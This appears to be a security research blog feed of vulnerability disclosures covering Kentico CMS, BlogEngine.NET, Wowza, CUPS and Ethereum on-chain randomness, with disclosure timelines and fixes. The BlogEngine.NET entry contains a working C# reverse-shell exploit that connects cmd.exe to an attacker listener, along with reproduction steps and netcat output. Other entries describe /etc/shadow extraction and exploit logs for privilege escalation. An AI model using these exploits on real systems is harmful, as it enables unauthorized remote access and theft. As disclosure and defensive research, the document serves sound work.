RSS Feed

Unauthenticated Remote Code Execution in Kentico CMS

Aon’s Cyber Solutions Security Testing team recently discovered a vulnerability, CVE-2019-10068, in the Kentico CMS platform versions 12.0.14 and earlier. This issue allows for unauthenticated remote code execution through a deserialization vulnerability in the staging service. A fix is available in the current version, 12.0.15.  This vulnerability was discovered by Manoj Cherukuri and Justin LeMay.  Exploit code is currently being withheld.

Aon’s Cyber Solutions would like to thank Kentico for working with us as part of our coordinated disclosure process to quickly remediate this vulnerability.


03/13/2019 - Issue disclosed to Kentico
03/14/2019 - Receipt acknowledged
03/20/2019 - Vulnerability confirmed by Kentico
03/22/2019 - Patch released in version 12.0.15
04/15/2019 - Public disclosure

Vendor Advisory/Patch:


The Kentico CMS application is vulnerable to a .NET object deserialization vulnerability that allows attackers to perform remote code execution and obtain unauthorized remote access. An XML encoded SOAP message within an element of the actual SOAP body was being deserialized by a SOAP Action within the staging web service. The staging service is used by the application to synchronize changes between different environments or servers. 

The identified vulnerable web service is installed by default and can be exploited under the default configuration. Although the deserialization of the payload sent for synchronization is expected to happen post-authentication and only when the staging service is enabled (disabled by default), the application allows deserialization of the payload even if both these conditions are not satisfied when parsing a specially-crafted request. The only requirement for exploitation of this issue is that the staging service must use username-based authentication, which is the default configuration.


Remote Code Execution in BlogEngine.NET

Aon’s Cyber Solutions Security Testing team recently discovered a vulnerability, CVE-2019-6714, in the BlogEngine.NET blogging software platform affecting versions and earlier. This issue allows for remote code execution through a path traversal vulnerability in the file upload feature available to blog post editors. A fix is available in the current version,

Aon’s Cyber Solutions would like to thank the BlogEngine.NET developers for working with us as part of our coordinated disclosure process to quickly remediate this vulnerability.


01/21/2019 - Issue discovered, exploit developed and tested
02/05/2019 - Contact established with developer, details of vulnerability sent
02/07/2019 - Developer pushed fixes to Github
02/07/2019 - Fixes for issue were tested and confirmed to be fixed
02/09/2019 - Official release was done on Github
03/28/2019 - Public disclosure



The test environment used during the discovery of this vulnerability was a fully patched and updated Windows 2016 server (build 14393) running IIS 10. The version of BlogEngine.NET that was tested can be found here on Github:

While this does describe the specific test environment, this exploit was found to work with slight modifications on versions of BlogEngine.NET as far back as running on Windows 2008 R2.

When adding or editing a blog post, BlogEngine.NET allows for the upload of arbitrary files which are meant to be included as part of the post. By default, these files are stored in the /App_Data/files folder of the document root belonging to the BlogEngine.NET instance. If an attacker uploads a file called PostView.ascx containing malicious C# code, they can then cause that malicious code to be executed by exploiting a directory traversal vulnerability in the /Custom/Controls/PostList.ascx.cs file. The vulnerable code can be seen here:

125                var path = string.Format("{0}Custom/Themes/{1}/PostView.ascx", Utils.ApplicationRelativeWebRoot, BlogSettings.Instance.GetThemeWithAdjustments(this.Request.QueryString["theme"]));
126                var counter = 0;
128                if(!System.IO.File.Exists(Server.MapPath(path)))
129                    path = string.Format("{0}Custom/Controls/Defaults/PostView.ascx", Utils.ApplicationRelativeWebRoot);
131                foreach (Post post in visiblePosts.GetRange(index, stop))
132                {
133                    if (counter == stop)
134                    {
135                        break;
136                    }
138                    var postView = (PostViewBase)this.LoadControl(path);
139                postView.ShowExcerpt = ShowExcerpt();

As you can see on line 125 above, this code will get a “theme” value from the query string. This is meant to execute code that renders pages differently according to a user’s needs or desires. For example, a mobile theme might be appropriate for viewing pages on a mobile device rather than a desktop. Unfortunately, this value is not being sanitized for any directory traversal sequences (i.e., “../”).

Note that also on line 125, we see this:


This means that the code will look for and, if it exists, execute a file called PostView.ascx in the specified theme directory. In this attack scenario, that directory would be the /App_Data/files directory, where we previously uploaded the malicious file with the name of PostView.ascx.

Reproduction Steps

To reproduce this exploit, first modify the exploit code shown in the following section to match the IP address and port of a netcat listener that will be waiting for a reverse shell connection. Next, perform the following actions:

  1. Log into the BlogEngine.NET instance with a user who has rights to add or edit a blog post.
  2. Navigate to the Content menu.
  3. A listing of posts should be shown on this screen. Click New to add one.
  4. In the toolbar located above the post body, there should be a number of icons. There should be one that looks like an open file, called File Manager. Click this icon.
  5. Here, simply upload the previously edited PostView.ascx file.
  6. Make sure you have a netcat listener waiting for a connection at the previously specified IP and port.
  7. Browse to the following URL:

You should now receive a connection from the server and have a command shell running in the context of the BlogEngine.NET web application.

Exploit Code:
 * CVE-2019-6714
 * Path traversal vulnerability leading to remote code execution.  This 
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This 
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can 
 * be seen in this file:
 * /Custom/Controls/PostList.ascx.cs
 * Attack:
 * First, we set the TcpClient address and port within the method below to 
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the 
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 * Finally, the vulnerability is triggered by accessing the base URL for the 
 * blog with a theme override specified like so:

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
    static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {

    using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("", 4445)) {
        using(System.IO.Stream stream = client.GetStream()) {
            using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                streamWriter = new System.IO.StreamWriter(stream);
                StringBuilder strInput = new StringBuilder();

                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardError = true;
                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);

                while(true) {
                    strInput.Remove(0, strInput.Length);

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
       StringBuilder strOutput = new StringBuilder();

           if (!String.IsNullOrEmpty(outLine.Data)) {
               try {
                } catch (Exception err) { }

<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

Exploit Output:

$ nc -nvlp 4445
Listening on [] (family 2, port 4445)
Connection from 49848 received!
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
iis apppool\defaultapppool


Wowza Streaming Engine Manager Directory Traversal and Local File Inclusion

Aon’s Cyber Solutions Security Testing Team (formerly GDS) recently discovered a security vulnerability affecting the Wowza Streaming Engine Manager software version, CVE-2018-19365.  The issue allows for local file inclusion with root privileges. Exploitation of this vulnerability requires authentication with an Administrator account, however a default administrator account with known or easily guessed passwords is commonly used.

ACS thanks Wowza for working together as part of the ACS coordinated disclosure process to identify, patch, and disclose this issue.  Patches are currently available in version and later.

Wowza Advisory:


The Wowza Streaming Engine Manager application allows for unauthorized access to the local file system of the server via the ‘/enginemanager/server/logs/download’ endpoint on the “logName” parameter. This allows for local files such as ‘/etc/passwd’ or ‘/etc/shadow’’ to be extracted by attackers in the form of a zip file.

Exploit URL:



HTTP/1.1 200 OK
Server: Winstone Servlet Engine v1.0.5
Content-Type: application/octet-stream Content-Disposition: attachement; filename=””
Connection: Close


The contents of /etc/shadow are included in the downloaded file.


CUPS Local Privilege Escalation and Sandbox Escapes

Gotham Digital Science has discovered multiple vulnerabilities in Apple’s CUPS print system affecting macOS 10.13.4 and earlier and multiple Linux distributions.  All information in this post has been shared with Apple and other affected vendors prior to publication as part of the coordinated disclosure process.  All code is excerpted from Apple’s open source CUPS repository located at

The vulnerabilities allow for local privilege escalation to root (CVE-2018-4180), multiple sandbox escapes (CVE-2018-4182 and CVE-2018-4183), and unsandboxed root-level local file reads (CVE-2018-4181).  A related AppArmor-specific sandbox escape (CVE-2018-6553) was also discovered affecting Linux distributions such as Debian and Ubuntu.  When chained together, these vulnerabilities allow an unprivileged local attacker to escalate to unsandboxed root privileges on affected systems.

Affected Linux systems include those that allow non-root users to modify cupsd.conf such as Debian and Ubuntu.  Redhat and related distributions are generally not vulnerable by default.  Consult distribution-specific documentation and security advisories for more information.

The vulnerabilities were patched in macOS 10.13.5, and patches are currently available for Debian and Ubuntu systems.  GDS would like to thank Apple, Debian, and Canonical for working to patch the vulnerabilities, and CERT for assisting in vendor coordination.

CVE-2018-4180 - Dan Bastone
CVE-2018-4182 - Dan Bastone
CVE-2018-4183 - Dan Bastone and Eric Rafaloff
CVE-2018-6553 - Dan Bastone
CVE-2018-4181 - Eric Rafaloff and John Dunlap

02/21/2018 - Initial disclosure to Apple
02/26/2018 - Initial disclosure to Debian and Canonical (CVE-2018-6553)
03/02/2018 - Issues confirmed by Apple
05/04/2018 - Apple requests delay of public disclosure due to downstream vendor coordination with CERT
06/01/2018 - Apple releases fixes in macOS 10.13.5
06/05/2018 - Apple publishes patches on their public Github repository
07/11/2018 - Public disclosure

Apple Security Advisory (updated 7/11/18):

Linux Vendor Advisories:


This post describes the privilege escalation and sandbox escape vulnerabilities and their fixes.  Exploit code is currently being withheld, and will be released at a later date.  Details of the root-level local file read issue (CVE-2018-4181) will be released in a follow-up blog post.

Local Privilege Escalation to Root Due to Insecure Environment Variable Handling - CVE-2018-4180

Affected versions of CUPS allow for the SetEnv and PassEnv directives to be specified in the cupsd.conf file, which is editable by non-root users using the cupsctl binary.  This allows attacker-controlled environment variables to be passed to CUPS backends, some of which are run as root.  By passing malicious values in environment variables to affected backends, it is possible to execute an attacker-supplied binary as root, subject to sandbox restrictions.


Multiple vulnerable code paths exist for this issue, one of which is shown below.  The environment variable is used to construct a filename on lines 804 and 807 that is executed on line 819.

800  /*
801   * Get the filename of the backend...
802   */
804   if ((cups_serverbin = getenv("CUPS_SERVERBIN")) == NULL)
805     cups_serverbin = CUPS_SERVERBIN;
807   snprintf(filename, sizeof(filename), "%s/backend/%s", cups_serverbin, scheme);
817   fprintf(stderr, "DEBUG: Executing backend \"%s\"...\n", filename);
819   execv(filename, argv);

The issue was remediated by moving the SetEnv and PassEnv configuration directives from cupsd.conf to cups-files.conf, which is only editable by root.  Additionally, sensitive environment variables that may have security implications have been restricted and can no longer be set using these directives.  This effectively prevents all known exploit vectors.

macOS cups-exec Sandbox Bypass Due to Insecure Error Handling - CVE-2018-4182

It is possible to cause cups-exec to execute backends without a sandbox profile by causing cupsdCreateProfile() to fail.  An attacker that has obtained sandboxed root access can accomplish this by setting the CUPS temporary directory to immutable using chflags, which will prevent the profile from being written to disk.

Chaining this vulnerability with CVE-2018-4180 results in unsandboxed root code execution.

When /var/spool/cups/tmp is set to immutable, the following sequence will fail, resulting in DefaultProfile being set to NULL in cupsdStartServer().  This error is ignored, and execution continues.

DefaultProfile =          NULL
   cupsdCreateProfile()    ^
      cupsTempFile2()      |
         cupsTempFd()      |
            open("/var/spool/cups/tmp/...") = -1 [Operation not permitted]

When cupsdStartProcess() is later called to execute a backend, the NULL default profile is passed as an argument:

3819   if (cupsdStartProcess(command, argv, envp, infile, fds[1], CGIPipes[1],
3820          -1, -1, root, DefaultProfile, NULL, &pid) < 0)

The process is then executed unsandboxed, because the profile is NULL.

455 int               /* O - Process ID or 0 */
456 cupsdStartProcess(
457     const char  *command,     /* I - Full path to command */
458     char        *argv[],      /* I - Command-line arguments */
459     char        *envp[],      /* I - Environment */
460     int         infd,         /* I - Standard input file descriptor */
461     int         outfd,        /* I - Standard output file descriptor */
462     int         errfd,        /* I - Standard error file descriptor */
463     int         backfd,       /* I - Backchannel file descriptor */
464     int         sidefd,       /* I - Sidechannel file descriptor */
465     int         root,         /* I - Run as root? */
466     void        *profile,     /* I - Security profile to use */
467     cupsd_job_t *job,         /* I - Job associated with process */
468     int         *pid)         /* O - Process ID */
469 {
545  /*
546   * Use helper program when we have a sandbox profile...
547   */
550   if (profile)
551 #endif /* !USE_POSIX_SPAWN */
552   {
553     snprintf(cups_exec, sizeof(cups_exec), "%s/daemon/cups-exec", ServerBin);
554     snprintf(user_str, sizeof(user_str), "%d", user);
555     snprintf(group_str, sizeof(group_str), "%d", Group);
556     snprintf(nice_str, sizeof(nice_str), "%d", FilterNice);
558     real_argv[0] = cups_exec;
559     real_argv[1] = (char *)"-g";
560     real_argv[2] = group_str;
561     real_argv[3] = (char *)"-n";
562     real_argv[4] = nice_str;
563     real_argv[5] = (char *)"-u";
564     real_argv[6] = user_str;
565     real_argv[7] = profile ? profile : "none";
566     real_argv[8] = (char *)command;

The following debug output shows execution of exploits for CVE-2018-4180 and CVE-2018-4182.

CUPS_SERVERBIN is set to the attacker-controlled directory by the exploit:

d [18/Feb/2018:21:50:21 -0500] cupsdSetEnv: CUPS_SERVERBIN=/tmp/exploit
D [18/Feb/2018:21:50:21 -0500] [Job 69] envp[1]="CUPS_SERVERBIN=/tmp/exploit"

dnssd is executed as root with a valid sandbox profile:

cupsdStartProcess(command="/usr/libexec/cups/backend/dnssd", argv=0x7ffee67eac30, envp=0x7ffee67ece90, infd=-1, outfd=-1, errfd=15, backfd=17, sidefd=19, root=1, profile=0x7f9339d1acb0, job=0x7f9339e203d0(69), pid=0x7f9339e20538) = 2463

dnssd then executes its sub-backend from the attacker-controlled CUPS_SERVERBIN containing the exploit payload. On this initial execution, the write to /exploit.txt will fail, and the payload will set the CUPS temp directory to immutable.

D [18/Feb/2018:21:50:21 -0500] [Job 69] Executing backend \"/tmp/exploit/backend/dnssd\"...
D [18/Feb/2018:21:50:21 -0500] [Job 69] /tmp/exploit/backend/dnssd: line 2: /exploit.txt: Operation not permitted

The payload then triggers the exploit again:

D [18/Feb/2018:21:50:21 -0500] [Job 70] envp[1]="CUPS_SERVERBIN=/tmp/exploit"

This time, the sandbox profile is prevented from being written:

d [18/Feb/2018:21:50:21 -0500] cupsdCreateProfile(job_id=70, allow_networking=0) = NULL
E [18/Feb/2018:21:50:21 -0500] Unable to create security profile: Operation not permitted
d [18/Feb/2018:21:50:21 -0500] cupsdCreateProfile(job_id=70, allow_networking=1) = NULL
E [18/Feb/2018:21:50:21 -0500] Unable to create security profile: Operation not permitted

This causes cupsdStartProcess to be called with a NULL profile argument, executing dnssd as root outside the sandbox:

d [18/Feb/2018:21:50:21 -0500] cupsdStartProcess(command="/usr/libexec/cups/backend/dnssd", argv=0x7ffee67fa7a0, envp=0x7ffee67fca00, infd=-1, outfd=-1, errfd=14, backfd=16, sidefd=18, root=1, profile=0x0, job=0x7f9339f12480(70), pid=0x7f9339f125e8) = 2469

Finally, the sub-backend executes outside the sandbox, writes to /exploit.txt, and exits successfully:

D [18/Feb/2018:21:50:21 -0500] [Job 70] Executing backend \"/tmp/exploit/backend/dnssd\"...
D [18/Feb/2018:21:50:21 -0500] [Job 70] PID 2469 (/usr/libexec/cups/backend/dnssd) exited with no errors.

The issue was remediated through the addition of error-handling code and sanity checks that prevent backends from executing outside of a sandbox profile.

macOS cups-exec Sandbox Bypass Due to Profile Misconfiguration - CVE-2018-4183

The sandbox profile dynamically generated by cupsdCreateProfile() unintentionally allows write access to /etc/cups.  This can be used by an attacker that has obtained sandboxed root access to alter /etc/cups/cups-files.conf, leading to unsandboxed root code execution.

The issue is caused by the fact that both ServerRoot and StateDir are set to /etc/cups.  The sandbox profile first denies write access to ServerRoot, but subsequently allows write access to StateDir.  This is shown in cupsdCreateProfile() below.

142   cupsFilePrintf(fp,
143                  "(deny file-write*\n"
144                  "  (regex"
145        " #\"^%s$\""     /* ServerRoot */
146        " #\"^%s/\""     /* ServerRoot/... */
147        " #\"^/private/etc$\""
148        " #\"^/private/etc/\""
194   cupsFilePrintf(fp,
195                  "(allow file-write* file-read-data file-read-metadata\n"
196                  "  (regex"
197        " #\"^%s$\""     /* TempDir */
198        " #\"^%s/\""     /* TempDir/... */
199        " #\"^%s$\""     /* CacheDir */
200        " #\"^%s/\""     /* CacheDir/... */
201        " #\"^%s$\""     /* StateDir */
202        " #\"^%s/\""     /* StateDir/... */
203        "))\n",
204        temp, temp, cache, cache, state, state);

This results in the following conflicting sandbox profile directives, ultimately allowing write access to /etc/cups:

(deny file-write*
  (regex #"^/private/etc/cups$" #"^/private/etc/cups/" #"^/private/etc$" #"^/private/etc/" #"^/usr/local/etc$" #"^/usr/local/etc/" #"^/Library$" #"^/Library/" #"^/System$" #"^/System/"))

(allow file-write* file-read-data file-read-metadata
  (regex #"^/private/var/spool/cups/tmp$" #"^/private/var/spool/cups/tmp/" #"^/private/var/spool/cups/cache$" #"^/private/var/spool/cups/cache/" #"^/private/etc/cups$" #"^/private/etc/cups/"))

The sandbox profile was corrected to disallow writes to /etc/cups by removing the StateDir entries.

AppArmor cupsd Sandbox Bypass Due to Use of Hard Links - CVE-2018-6553

It is possible to bypass the AppArmor cupsd sandbox by invoking the dnssd backend using an alternate name that has been hard linked to dnssd.  Both Debian and Ubuntu use AppArmor and shipped the mdns backend in this manner, in contrast to macOS and other systems that use symbolic links.  Invoking the mdns backend causes the AppArmor profile to treat the backend as 3rd party, removing sandbox restrictions.

The cups backend directory and an excerpt of the cups .deb post-installation script shows the use of hard links.

 ls -l /usr/lib/cups/backend/{dnssd,mdns}
-rwxr--r-- 3 root root 18424 Aug 22 17:26 /usr/lib/cups/backend/dnssd
-rwxr--r-- 3 root root 18424 Aug 22 17:26 /usr/lib/cups/backend/mdns
$ stat /usr/lib/cups/backend/{dnssd,mdns}
  File: '/usr/lib/cups/backend/dnssd'
  Size: 18424        Blocks: 40         IO Block: 4096   regular file
Device: 801h/2049d   Inode: 12615       Links: 3
Access: (0744/-rwxr--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-02-18 13:08:11.761022386 -0800
Modify: 2017-08-22 17:26:53.000000000 -0700
Change: 2018-02-14 11:32:56.356309575 -0800
 Birth: -
  File: '/usr/lib/cups/backend/mdns'
  Size: 18424        Blocks: 40         IO Block: 4096   regular file
Device: 801h/2049d   Inode: 12615       Links: 3
Access: (0744/-rwxr--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-02-18 13:08:11.761022386 -0800
Modify: 2017-08-22 17:26:53.000000000 -0700
Change: 2018-02-14 11:32:56.356309575 -0800
 Birth: -

DEBIAN/postinst: (from cups_2.2.1-8_amd64.deb)
71       if [ "$module" = "dnssd" ]; then
72         ln /usr/lib/cups/backend/dnssd /usr/lib/cups/backend/mdns
73       fi

The AppArmor sandbox profile explicitly whitelists known backends, but neglects to include mdns. Because mdns is hard linked to dnssd, it matches the rule on line 95. If symbolic links were used instead, line 81 would match and the backend would be sandboxed as intended.

79   # backends which come with CUPS can be confined
80   /usr/lib/cups/backend/bluetooth ixr,
81   /usr/lib/cups/backend/dnssd ixr,
82   /usr/lib/cups/backend/http ixr,
83   /usr/lib/cups/backend/ipp ixr,
84   /usr/lib/cups/backend/lpd ixr,
85   /usr/lib/cups/backend/parallel ixr,
86   /usr/lib/cups/backend/serial ixr,
87   /usr/lib/cups/backend/snmp ixr,
88   /usr/lib/cups/backend/socket ixr,
89   /usr/lib/cups/backend/usb ixr,
90   # we treat cups-pdf specially, since it needs to write into /home
91   # and thus needs extra paranoia
92   /usr/lib/cups/backend/cups-pdf Px,
93   # third party backends get no restrictions as they often need high
94   # privileges and this is beyond our control
95   /usr/lib/cups/backend/* Cx -> third_party,

The AppArmor profile was updated to explicitly sandbox the mdns backend.


Breaking Randomness in the Ethereum Universe [part 1]

It is widely acknowledged that generating secure random numbers on the Ethereum blockchain is difficult due to its deterministic nature. Each time a smart contract’s function is called inside of a transaction, it must be replayed and verified by the rest of the network. This is crucial so that it is not possible for a miner to manipulate the internal state during execution and modify the result for their own benefit. For example, if the Ethereum Virtual Machine (EVM) provided functionality to generate a random number using a cryptographically secure random source on the miner’s system, it would not be possible to confirm that the random number generated had not been manipulated by the miner. Another more important reason however, is that this would not be determinsitic and if ether is transferred or alternative code paths are taken based on decisions made inside the function as a result of the generated number, the contract’s ether balance and storage state may be inconsistent with the view of the rest of the network.

This post is the first in a three-part series where we will look at some of the techniques developers are using to generate numbers that appear to be random in the deterministic Ethereum environment, and look at how it is possible in-practice to exploit these random number generators for our advantage. Our first post will focus on generating random numbers on-chain and what the security implications of doing so are. In the remaining two posts we will review another two commonly used techniques including using oracles and participatory schemes where numbers are provided via multiple participants.

Sources of Entropy in Ethereum

We have proposed that we cannot trust a single miner to generate a “high quality” random number for our smart contract and that if a “random” number is produced, the same number must be produced when other nodes of the network execute the smart contract code for verification. One method that is commonly used is the use of a Pseudorandom Number Generator (PRNG), which will produce a series of bytes that look random in a deterministic way, based on an initial private seed value and internal state.

The Ethereum blockchain provides a number of block properties that are not controllable by a single user of the network and are only somewhat controllable by miners, such as the timestamp and coinbase. When using these block properties as a source of entropy for an initial seed to a PRNG, it may well look sufficient as the output appears to look random and the seed value cannot be directly manipulated by users of the smart contract.

The following block variables are commonly used when generating random numbers on-chain:

  • block.blockhash(uint blockNumber): hash of the given block (only works for 256 most recent blocks excluding current)

  • block.number: current block number

  • block.coinbase: current block miner’s address

  • block.timestamp: current block timestamp as seconds since unix epoch 

The main advantages of using block properties as a seed for randomness is they are simple to implement and the resulting random numbers are immediately available to the smart contract. This simplicity, speed and lack of dependence on external parties or systems makes the use of block properties a desirable option. It is often assumed that when using block properties as a source of randomness, only miners would be in a position to cheat. For example, if the output number did not work in their favour, they can throw away the block and wait for a new block whereby the generated number worked in their favour. 

With the assumption that only miners are able to exploit the number generation using block properties as a seed, there are multiple blog posts, Reddit posts, and Stack Overflow threads regarding when it is safe to use these properties for random number generation. These often incorrectly state that it is acceptable to use block properties only when the potential payout is less than the mining reward, as it would not be beneficial for a malicious miner to throw out the block. However, this is not case, as we will see when we analyse and exploit the vulnerable smart contracts below.

Exploiting a Simple Number Guessing Smart-Contract

Firstly we will look a naïve, yet not uncommon implementation using the block.blockhash property. The GuessingGame smart contract allows the participant to guess a randomly generated number. If the participant guesses correctly they win twice their initial bet.

If we look at the badRandom function, we can see how the random number is generated by casting the blockhash of the previous block to an unsigned integer, then performing a modulus operation:

This will appear to provide a random value between 1 and 10 (unfortunately this also introduces a modulo bias meaning that some values are more likely than others). As the previous block number is not controllable by an attacker it cannot be manipulated to produce a random number in the attackers favour… however, the seed is known to the attacker. It is therefore possible to predict what the next winning number will be and beat the house. One potential problem with this approach, is that the attacker needs to take the current block number, get the blockhash, generate the next number and make sure their bet was placed in the very next block. 

This isn’t very feasible to do manually, however we can get around this by calculating the next winning number on-chain, then make an external contract call to the GuessingGame with the correct number. The following attacker contract will always predict the winning number when the cheat() function is called.

Another Vulnerable ‘Lottery’ Style Game

The above contract will allow us to always take away the winnings, however, can we still exploit this type of random number generation when the generation takes place at some point in the future? To explore this, we have the following lottery style smart contract where participants can buy a ticket in a draw. When enough tickets have been sold a winner can be selected. A common, but problematic, coding pattern is shown below:

By looking at the buyTicket function below, there is nothing the attacker can control when buying a ticket, other than waiting for specific tickets to be sold and buying theirs at a specific point, such as waiting for 2 to be sold and then attempting to purchase the 3rd.

Lets now look at how the winning ticket is chosen:

Firstly, there is a require statement to ensure that the winner can only be chosen once the required number of tickets have been sold. If this requirement is met the sale is over and a random number is generated. In this case we have no control over what the winnerIndex will be, however we can calculate who the winner will be before invoking the drawWinner() function. Allowing the attacker to wait until a blockhash is used that generates a random number making the attacker the winner.

The problem with this approach is that the attacker needs to know which ticket they have, or at which index in the drawParticipants array their account address is located. Within the blockchain, even private variables are readable by everyone, even if the contract does not directly expose them. The web3.eth.getStorageAt(contractAddress, index) method can be used to look into the contracts persistent storage and identify which ticket is the attackers.

The attacker contract below will take the desired winner index, then calculate if that index is going to win the draw during the current block. If the desired winner is going to be selected, the drawWinner() function is called and the attacker takes home the contract balance. If the attacker is not going to win, the call returns before drawing the winner. The attacker just needs to repeatedly call the cheat(winnerIndex) function until the blockhash outputs a number that results in the correct winner. It is true that this process is going to cost the attacker in transaction fees for each repeated call, however this is likely to be negligible when compared to a games payout.

The primary drawback with this approach is that if the drawWinner() function is called by another participant, then the next winner may be chosen at a blocknumber which does not result in the attacker winning. Another issue is that depending on the number of participants, the attacker may need to submit a large number of transactions before they are chosen.

A partial mitigation?

As games are typically designed to be played by real players, rather than other smart contracts, we could look to identify whether the player’s address is a regular Externally Controlled Account (EOA) or a smart contract account. It appears this can currently be achieved by using inline assembly and the EXTCODESIZE opcode, which returns the size of the CODE property of an external Ethereum account using its address. For example, this could be implemented with the following:

This will restrict specific functions from only being called from Externally Owned Accounts and therefore mitigate the attacks outlined above. However, this does not mitigate against attacks from malicious miners and will likely break under future accounts created under the Ethereum account abstraction proposed in EIP-86 which is scheduled for Constantinople Metropolis stage 2.

The practise of generating pseudo-random numbers using block properties is highly discouraged. We have looked at how an attacker can actually exploit such PRNG implementations via external contract calls, which allow an attacker to predict the next number to be generated in the same block. Whilst a partial mitigation does exist to prevent the specific attacks mentioned, block properties and on-chain data are always public and therefore carry the risk that an attacker may be able to predict the winning number and use it for their advantage.    

In the following two parts of this series, we will analyse the use of generating random numbers using participatory schemes where numbers are provided via multiple participants, and through the use of external sources of randomness that are consumed via the use of Oracles.